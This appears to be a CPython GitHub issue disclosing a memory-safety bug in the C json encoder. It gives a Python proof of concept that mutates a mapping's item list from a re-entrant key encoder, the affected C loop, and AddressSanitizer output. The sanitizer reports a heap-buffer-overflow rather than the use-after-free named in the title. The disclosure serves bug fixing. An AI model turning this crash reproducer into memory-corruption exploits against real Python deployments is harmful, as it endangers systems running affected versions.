Skip to content

Use-after-free in json.encoder mapping iteration via re-entrant key encoder #142831

New issue
New issue
Open
Open
Use-after-free in json.encoder mapping iteration via re-entrant key encoder#142831
Labels
extension-modulesC modules in the Modules dirtype-crashA hard crash of the interpreter, possibly with a core dump
@jackfromeast

Description

@jackfromeast
jackfromeast
opened on Dec 16, 2025

What happened?

A crafted mapping returns a list from items and a key encoder clears that list mid iteration, yet _encoder_iterate_mapping_lock_held continues to read entries for encoder_encode_key_value, so _json accesses freed elements and triggers a use-after-free in JSON encoding.

Proof of Concept:

import json

_cache = []

class BadDict(dict):
    def __init__(self):
        super().__init__(real=1)      # keep size > 0 so we take the mapping path

    def items(self):
        entries = [("boom", object())]
        _cache.append(entries)        # stash the list so the encoder’s key hook can mutate it
        return entries

def encode_str(obj):
    if _cache:
        _cache.pop().clear()          # free the list backing store mid-iteration
    return '"x"'

encoder = json.encoder.c_make_encoder(
    None,                 # markers
    lambda o: 0,          # default for non-basic types
    encode_str,           # string encoder (runs on keys first)
    None,                 # indent -> disables indent cache
    ": ",
    ", ",
    False,
    False,
    True,
)

encoder(BadDict(), 0)

Affected Versions:

Details
Python Version Status Exit Code
Python 3.9.24+ (heads/3.9:111bbc15b26, Oct 28 2025, 16:51:20) OK 0
Python 3.10.19+ (heads/3.10:014261980b1, Oct 28 2025, 16:52:08) [Clang 18.1.3 (1ubuntu1)] OK 0
Python 3.11.14+ (heads/3.11:88f3f5b5f11, Oct 28 2025, 16:53:08) [Clang 18.1.3 (1ubuntu1)] OK 0
Python 3.12.12+ (heads/3.12:8cb2092bd8c, Oct 28 2025, 16:54:14) [Clang 18.1.3 (1ubuntu1)] OK 0
Python 3.13.9+ (heads/3.13:9c8eade20c6, Oct 28 2025, 16:55:18) [Clang 18.1.3 (1ubuntu1)] OK 0
Python 3.14.0+ (heads/3.14:2e216728038, Oct 28 2025, 16:56:16) [Clang 18.1.3 (1ubuntu1)] ASAN 1
Python 3.15.0a1+ (heads/main:f5394c257ce, Oct 28 2025, 16:57:16) [Clang 18.1.3 (1ubuntu1)] ASAN 1

Vulnerable Code:

Details 
static inline int
_encoder_iterate_mapping_lock_held(PyEncoderObject *s, PyUnicodeWriter *writer,
                            bool *first, PyObject *dct, PyObject *items,
                            Py_ssize_t indent_level, PyObject *indent_cache,
                            PyObject *separator)
{
    _Py_CRITICAL_SECTION_ASSERT_OBJECT_LOCKED(items);
    PyObject *key, *value;
    for (Py_ssize_t  i = 0; i < PyList_GET_SIZE(items); i++) {
        // On the next round, access on the freed item
        PyObject *item = PyList_GET_ITEM(items, i);
#ifdef Py_GIL_DISABLED
        // gh-119438: in the free-threading build the critical section on items can get suspended
        Py_INCREF(item);
#endif
        if (!PyTuple_Check(item) || PyTuple_GET_SIZE(item) != 2) {
            PyErr_SetString(PyExc_ValueError, "items must return 2-tuples");
#ifdef Py_GIL_DISABLED
            Py_DECREF(item);
#endif
            return -1;
        }

        key = PyTuple_GET_ITEM(item, 0);
        value = PyTuple_GET_ITEM(item, 1);
        // Bug: Trigger the custom string encoder: encode_str
        if (encoder_encode_key_value(s, writer, first, dct, key, value,
                                     indent_level, indent_cache,
                                     separator) < 0) {
#ifdef Py_GIL_DISABLED
            Py_DECREF(item);
#endif
            return -1;
        }
#ifdef Py_GIL_DISABLED
        Py_DECREF(item);
#endif
    }

    return 0;
}

Sanitizer Output:

Details 
=================================================================
==1643271==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5020000051a0 at pc 0x7e13a53054e7 bp 0x7ffe02157440 sp 0x7ffe02157438
READ of size 8 at 0x5020000051a0 thread T0
    #0 0x7e13a53054e6 in update_indent_cache /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/./Modules/_json.c:1411:32
    #1 0x7e13a53054e6 in get_item_separator /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/./Modules/_json.c:1440:13
    #2 0x7e13a5302a6b in encoder_listencode_list /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/./Modules/_json.c:1982:21
    #3 0x7e13a52fea23 in encoder_call /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/./Modules/_json.c:1483:9
    #4 0x5d8596341b81 in _PyObject_MakeTpCall /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Objects/call.c:242:18
    #5 0x5d8596941c62 in _PyEval_EvalFrameDefault /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/generated_cases.c.h:1620:35
    #6 0x5d8596910bf4 in _PyEval_Vector /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/ceval.c:2005:12
    #7 0x5d8596910bf4 in PyEval_EvalCode /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/ceval.c:888:21
    #8 0x5d8596bd54d4 in run_mod /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/pythonrun.c:1459:19
    #9 0x5d8596bcf02d in pyrun_file /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/pythonrun.c:1293:15
    #10 0x5d8596bcc2d3 in _PyRun_SimpleFileObject /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/pythonrun.c:521:13
    #11 0x5d8596bcb89e in _PyRun_AnyFileObject /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/pythonrun.c:81:15
    #12 0x5d8596c90b13 in pymain_run_file_obj /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Modules/main.c:410:15
    #13 0x5d8596c90b13 in pymain_run_file /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Modules/main.c:429:15
    #14 0x5d8596c8dbcb in pymain_run_python /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Modules/main.c:691:21
    #15 0x5d8596c8dbcb in Py_RunMain /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Modules/main.c:772:5
    #16 0x5d8596c8f7fb in pymain_main /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Modules/main.c:802:12
    #17 0x5d8596c8faa2 in Py_BytesMain /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Modules/main.c:826:12
    #18 0x7e13a742a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #19 0x7e13a742a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #20 0x5d859604c114 in _start (/home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/python+0x6b0114) (BuildId: 0aee20a59f1c25de22733bd0e5f8259ab04406c4)

0x5020000051a0 is located 8 bytes after 8-byte region [0x502000005190,0x502000005198)
allocated by thread T0 here:
    #0 0x5d85960e714d in calloc (/home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/python+0x74b14d) (BuildId: 0aee20a59f1c25de22733bd0e5f8259ab04406c4)
    #1 0x5d8596424d76 in PyList_New /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Objects/listobject.c:262:37
    #2 0x7e13a52fe965 in create_indent_cache /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/./Modules/_json.c:1393:30
    #3 0x7e13a52fe965 in encoder_call /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/./Modules/_json.c:1477:24
    #4 0x5d8596341b81 in _PyObject_MakeTpCall /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Objects/call.c:242:18
    #5 0x5d8596941c62 in _PyEval_EvalFrameDefault /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/generated_cases.c.h:1620:35
    #6 0x5d8596910bf4 in _PyEval_Vector /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/ceval.c:2005:12
    #7 0x5d8596910bf4 in PyEval_EvalCode /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/ceval.c:888:21
    #8 0x5d8596bd54d4 in run_mod /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/pythonrun.c:1459:19
    #9 0x5d8596bcf02d in pyrun_file /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/pythonrun.c:1293:15
    #10 0x5d8596bcc2d3 in _PyRun_SimpleFileObject /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/pythonrun.c:521:13
    #11 0x5d8596bcb89e in _PyRun_AnyFileObject /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/pythonrun.c:81:15
    #12 0x5d8596c90b13 in pymain_run_file_obj /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Modules/main.c:410:15
    #13 0x5d8596c90b13 in pymain_run_file /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Modules/main.c:429:15
    #14 0x5d8596c8dbcb in pymain_run_python /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Modules/main.c:691:21
    #15 0x5d8596c8dbcb in Py_RunMain /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Modules/main.c:772:5
    #16 0x5d8596c8f7fb in pymain_main /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Modules/main.c:802:12
    #17 0x5d8596c8faa2 in Py_BytesMain /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Modules/main.c:826:12
    #18 0x7e13a742a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #19 0x7e13a742a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #20 0x5d859604c114 in _start (/home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/python+0x6b0114) (BuildId: 0aee20a59f1c25de22733bd0e5f8259ab04406c4)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/./Modules/_json.c:1411:32 in update_indent_cache
Shadow bytes around the buggy address:
  0x502000004f00: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x502000004f80: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fa
  0x502000005000: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x502000005080: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fa
  0x502000005100: fa fa fd fa fa fa fd fa fa fa 02 fa fa fa 00 fa
=>0x502000005180: fa fa 00 fa[fa]fa fa fa fa fa fa fa fa fa fa fa
  0x502000005200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000005280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000005300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000005380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000005400: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==1643271==ABORTING

Linked PRs

Metadata

Metadata

Assignees

No one assigned

    Labels

    extension-modulesC modules in the Modules dirtype-crashA hard crash of the interpreter, possibly with a core dump

    Projects

    JSON issues

    Status

    No status

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions